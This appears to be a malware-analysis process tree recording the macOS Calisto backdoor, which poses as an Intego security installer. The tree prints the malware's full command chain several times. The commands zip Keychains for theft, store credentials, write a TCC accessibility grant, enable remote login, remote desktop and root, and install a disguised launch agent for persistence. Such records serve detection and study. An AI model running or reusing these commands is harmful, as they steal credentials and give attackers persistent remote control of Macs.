Calisto Process Tree
{
"process_name": false,
"pid": 2532,
"command_line_args": false,
"child_processes": [
{
"process_name": "/bin/bash",
"pid": 2540,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2540,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2541,
"command_line_args": "/bin/bash -c echo abc123 | sudo -S zip -r ~/.calisto/KC.zip ~/Library/Keychains/ /Library/Keychains/ && ifconfig > ~/.calisto/network.dat && echo zingo123abc123 > ~/.calisto/cred.dat && zip -r ~/.calisto/calisto.zip ~/.calisto/ && sudo /usr/bin/sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);\" && sudo systemsetup -setremotelogin on && sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -off -restart -agent -privs -all -allowAccessFor -allUsers && dsenableroot -p abc123 -r aGNOStIC7890!!! && sudo systemsetup -setcomputersleep Never && sudo cp -R /Volumes/Mac\\ Internet\\ Security\\ X9/Mac\\ Internet\\ Security\\ X9\\ Installer.app /System/Library/CoreServices/launchb.app && sudo mv /System/Library/CoreServices/launchb.app/Contents/MacOS/Mac\\ Internet\\ Security\\ X9\\ Installer /System/Library/CoreServices/launchb.app/Contents/MacOS/launchb && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/InfoL.plist /System/Library/CoreServices/launchb.app/Contents/Info.plist && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/com.intego.Mac-Internet-Security-X9-Installer.plist /Library/LaunchAgents/com.intego.Mac-Internet-Security-X9-Installer.plist && echo Success",
"child_processes": [
{
"process_name": "/usr/bin/sudo",
"pid": 2543,
"command_line_args": "sudo -S zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/",
"child_processes": [
{
"process_name": "/usr/bin/zip",
"pid": 2544,
"command_line_args": "zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/"
}
]
},
{
"process_name": "/sbin/ifconfig",
"pid": 2545,
"command_line_args": "ifconfig"
},
{
"process_name": "/usr/bin/zip",
"pid": 2546,
"command_line_args": "zip -r /Users/zingo123/.calisto/calisto.zip /Users/zingo123/.calisto/"
},
{
"process_name": "/usr/bin/sudo",
"pid": 2547,
"command_line_args": "sudo /usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);",
"child_processes": [
{
"process_name": "/usr/bin/sqlite3",
"pid": 2548,
"command_line_args": "/usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);"
}
]
}
]
},
{
"process_name": "/bin/bash",
"pid": 2549,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2549,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2550,
"command_line_args": "/bin/bash -c echo abc123 | sudo -S zip -r ~/.calisto/KC.zip ~/Library/Keychains/ /Library/Keychains/ && ifconfig > ~/.calisto/network.dat && echo zingo123abc123 > ~/.calisto/cred.dat && zip -r ~/.calisto/calisto.zip ~/.calisto/ && sudo /usr/bin/sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);\" && sudo systemsetup -setremotelogin on && sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -off -restart -agent -privs -all -allowAccessFor -allUsers && dsenableroot -p abc123 -r aGNOStIC7890!!! && sudo systemsetup -setcomputersleep Never && sudo cp -R /Volumes/Mac\\ Internet\\ Security\\ X9/Mac\\ Internet\\ Security\\ X9\\ Installer.app /System/Library/CoreServices/launchb.app && sudo mv /System/Library/CoreServices/launchb.app/Contents/MacOS/Mac\\ Internet\\ Security\\ X9\\ Installer /System/Library/CoreServices/launchb.app/Contents/MacOS/launchb && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/InfoL.plist /System/Library/CoreServices/launchb.app/Contents/Info.plist && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/com.intego.Mac-Internet-Security-X9-Installer.plist /Library/LaunchAgents/com.intego.Mac-Internet-Security-X9-Installer.plist && echo Success",
"child_processes": [
{
"process_name": "/usr/bin/sudo",
"pid": 2552,
"command_line_args": "sudo -S zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/",
"child_processes": [
{
"process_name": "/usr/bin/zip",
"pid": 2553,
"command_line_args": "zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/"
}
]
},
{
"process_name": "/sbin/ifconfig",
"pid": 2554,
"command_line_args": "ifconfig"
},
{
"process_name": "/usr/bin/zip",
"pid": 2555,
"command_line_args": "zip -r /Users/zingo123/.calisto/calisto.zip /Users/zingo123/.calisto/"
},
{
"process_name": "/usr/bin/sudo",
"pid": 2556,
"command_line_args": "sudo /usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);",
"child_processes": [
{
"process_name": "/usr/bin/sqlite3",
"pid": 2557,
"command_line_args": "/usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);"
}
]
}
]
},
{
"process_name": "/bin/bash",
"pid": 2558,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2558,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2559,
"command_line_args": "/bin/bash -c echo abc123 | sudo -S zip -r ~/.calisto/KC.zip ~/Library/Keychains/ /Library/Keychains/ && ifconfig > ~/.calisto/network.dat && echo zingo123abc123 > ~/.calisto/cred.dat && zip -r ~/.calisto/calisto.zip ~/.calisto/ && sudo /usr/bin/sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);\" && sudo systemsetup -setremotelogin on && sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -off -restart -agent -privs -all -allowAccessFor -allUsers && dsenableroot -p abc123 -r aGNOStIC7890!!! && sudo systemsetup -setcomputersleep Never && sudo cp -R /Volumes/Mac\\ Internet\\ Security\\ X9/Mac\\ Internet\\ Security\\ X9\\ Installer.app /System/Library/CoreServices/launchb.app && sudo mv /System/Library/CoreServices/launchb.app/Contents/MacOS/Mac\\ Internet\\ Security\\ X9\\ Installer /System/Library/CoreServices/launchb.app/Contents/MacOS/launchb && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/InfoL.plist /System/Library/CoreServices/launchb.app/Contents/Info.plist && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/com.intego.Mac-Internet-Security-X9-Installer.plist /Library/LaunchAgents/com.intego.Mac-Internet-Security-X9-Installer.plist && echo Success",
"child_processes": [
{
"process_name": "/usr/bin/sudo",
"pid": 2561,
"command_line_args": "sudo -S zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/",
"child_processes": [
{
"process_name": "/usr/bin/zip",
"pid": 2562,
"command_line_args": "zip -r /Users/zingo123/.calisto/KC.zip /Users/zingo123/Library/Keychains/ /Library/Keychains/"
}
]
},
{
"process_name": "/sbin/ifconfig",
"pid": 2563,
"command_line_args": "ifconfig"
},
{
"process_name": "/usr/bin/zip",
"pid": 2564,
"command_line_args": "zip -r /Users/zingo123/.calisto/calisto.zip /Users/zingo123/.calisto/"
},
{
"process_name": "/usr/bin/sudo",
"pid": 2565,
"command_line_args": "sudo /usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);",
"child_processes": [
{
"process_name": "/usr/bin/sqlite3",
"pid": 2566,
"command_line_args": "/usr/bin/sqlite3 /Library/Application Support/com.apple.TCC/TCC.db INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);"
}
]
}
]
},
{
"process_name": "/bin/bash",
"pid": 2567,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2567,
"command_line_args": "/bin/bash -c mkdir ~/.calisto/"
},
{
"process_name": "/bin/bash",
"pid": 2568,
"command_line_args": "/bin/bash -c echo abc123 | sudo -S zip -r ~/.calisto/KC.zip ~/Library/Keychains/ /Library/Keychains/ && ifconfig > ~/.calisto/network.dat && echo zingo123abc123 > ~/.calisto/cred.dat && zip -r ~/.calisto/calisto.zip ~/.calisto/ && sudo /usr/bin/sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db \"INSERT or REPLACE INTO access VALUES('kTCCServiceAccessibility','com.intego.Mac-Internet-Security-X9-Installer',0,1,1,NULL,NULL);\" && sudo systemsetup -setremotelogin on && sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -off -restart -agent -privs -all -allowAccessFor -allUsers && dsenableroot -p abc123 -r aGNOStIC7890!!! && sudo systemsetup -setcomputersleep Never && sudo cp -R /Volumes/Mac\\ Internet\\ Security\\ X9/Mac\\ Internet\\ Security\\ X9\\ Installer.app /System/Library/CoreServices/launchb.app && sudo mv /System/Library/CoreServices/launchb.app/Contents/MacOS/Mac\\ Internet\\ Security\\ X9\\ Installer /System/Library/CoreServices/launchb.app/Contents/MacOS/launchb && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/InfoL.plist /System/Library/CoreServices/launchb.app/Contents/Info.plist && sudo cp -f /System/Library/CoreServices/launchb.app/Contents/Resources/com.intego.Mac-Internet-Security-X9-Installer.plist /Library/LaunchAgents/com.intego.Mac-Internet-Security-X9-Installer.plist && echo Success"
}
]
}